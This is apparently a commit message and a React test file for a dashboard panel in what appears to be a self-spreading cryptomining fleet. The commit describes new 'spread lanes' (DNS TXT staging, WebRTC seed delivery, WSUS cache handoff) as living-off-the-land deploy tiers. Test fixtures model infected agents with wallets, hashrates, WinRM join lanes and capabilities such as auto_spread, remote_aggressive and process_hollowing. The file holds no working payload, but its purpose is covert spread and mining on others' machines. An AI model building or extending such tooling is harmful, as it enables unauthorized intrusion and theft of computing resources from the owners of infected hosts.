Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/web/src/components/Fleet/AccessDepthPanel.test.tsx

@@ -0,0 +1,172 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { cleanup, render, screen } from '@testing-library/react';
+import { MemoryRouter } from 'react-router-dom';
+import AccessDepthPanel from './AccessDepthPanel';
+import type { Agent } from '../../types';
+import {
+  buildAccessDepthModel,
+  parseAccessDepthDiagnostics,
+  parseAccessDepthServerPolicy,
+} from '../../help/accessDepth';
+
+vi.mock('../../api/client', () => ({
+  api: {
+    getConfig: vi.fn().mockResolvedValue({
+      server: {
+        lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
+        triple_onion_policy: {
+          recon_tiers: ['vuln_recon'],
+          deploy_lanes: ['docker', 'winrm'],
+        },
+      },
+    }),
+  },
+}));
+
+function mockAgent(overrides: Partial<Agent>): Agent {
+  return {
+    id: 'a1',
+    name: 'Node',
+    wallet: '',
+    ip: '10.0.0.5',
+    version: '1',
+    status: 'online',
+    cpu_cores: 8,
+    memory_gb: 16,
+    last_seen: '',
+    created_at: '',
+    hashrate_15s: 0,
+    hashrate_1m: 0,
+    hashrate_15m: 0,
+    shares_total: 0,
+    shares_good: 0,
+    shares_bad: 0,
+    cpu_usage_pct: 0,
+    memory_usage_pct: 0,
+    uptime_seconds: 0,
+    ...overrides,
+  };
+}
+
+function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
+  return render(
+    <MemoryRouter>
+      <AccessDepthPanel agent={agent} diagnostics={diagnostics} />
+    </MemoryRouter>,
+  );
+}
+
+describe('accessDepth helpers', () => {
+  it('parses mining diagnostics payload with probes and tier chain', () => {
+    const diag = parseAccessDepthDiagnostics({
+      lotl_tier: 'wsl',
+      tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
+      tier_chain_skipped: ['exe_subprocess'],
+      environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
+      lotl_attempts: [
+        { tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
+        { tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
+      ],
+    });
+    expect(diag.lotl_tier).toBe('wsl');
+    expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
+    expect(diag.environment_probes?.docker).toBe(true);
+    expect(diag.lotl_attempts).toHaveLength(2);
+    expect(diag.lotl_attempts?.[1].phase).toBe('mining');
+  });
+
+  it('buildAccessDepthModel for Windows agent with diagnostics', () => {
+    const agent = mockAgent({
+      platform: 'windows',
+      os_version: '10.0.26200',
+      arch: 'amd64',
+      lotl_tier: 'wsl',
+      join_lane: 'winrm',
+      agent_elevated: true,
+      capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
+    });
+    const model = buildAccessDepthModel(
+      agent,
+      parseAccessDepthDiagnostics({
+        tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
+        tier_chain_skipped: ['exe_subprocess'],
+        lotl_attempts: [
+          { tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
+          { tier: 'wsl', ok: true, phase: 'mining' },
+        ],
+        environment_probes: { docker: false, wsl: true, pwsh: true },
+      }),
+      parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
+    );
+    expect(model.platformLabel).toBe('Windows');
+    expect(model.joinLane).toBe('winrm');
+    expect(model.succeeded).toHaveLength(1);
+    expect(model.failed).toHaveLength(1);
+    expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
+    expect(model.spreadOnion).toHaveLength(2);
+  });
+
+  it('buildAccessDepthModel for Linux agent without diagnostics', () => {
+    const agent = mockAgent({
+      platform: 'linux',
+      join_lane: 'linux-lotl',
+      lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
+    });
+    const model = buildAccessDepthModel(agent);
+    expect(model.platformLabel).toBe('Linux');
+    expect(model.succeeded[0].tier).toBe('cpu_inprocess');
+    expect(model.miningOnion.length).toBeGreaterThan(0);
+  });
+
+  it('buildAccessDepthModel for macOS agent', () => {
+    const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
+    const model = buildAccessDepthModel(agent);
+    expect(model.platformLabel).toBe('macOS');
+    expect(model.osLine).toContain('macOS');
+  });
+});
+
+describe('AccessDepthPanel', () => {
+  afterEach(() => cleanup());
+
+  it('renders sections for Windows fixture', async () => {
+    renderPanel(
+      mockAgent({
+        platform: 'windows',
+        lotl_tier: 'wsl',
+        join_lane: 'winrm',
+        lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
+      }),
+      parseAccessDepthDiagnostics({
+        environment_probes: { wsl: true, pwsh: true },
+        tier_chain_order: ['container', 'wsl'],
+        lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
+      }),
+    );
+    expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
+    expect(screen.getByText('OS & posture')).toBeInTheDocument();
+    expect(screen.getByText('Active')).toBeInTheDocument();
+    expect(screen.getByText('Succeeded')).toBeInTheDocument();
+    expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
+    expect(screen.getByText('Effective onion order')).toBeInTheDocument();
+    expect(await screen.findByText('WinRM')).toBeInTheDocument();
+  });
+
+  it('shows pending chain when tiers not yet attempted', () => {
+    renderPanel(
+      mockAgent({
+        platform: 'linux',
+        status: 'online',
+        lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
+      }),
+      parseAccessDepthDiagnostics({
+        tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
+        lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
+      }),
+    );
+    expect(screen.getByText(/pending:/i)).toBeInTheDocument();
+  });
+});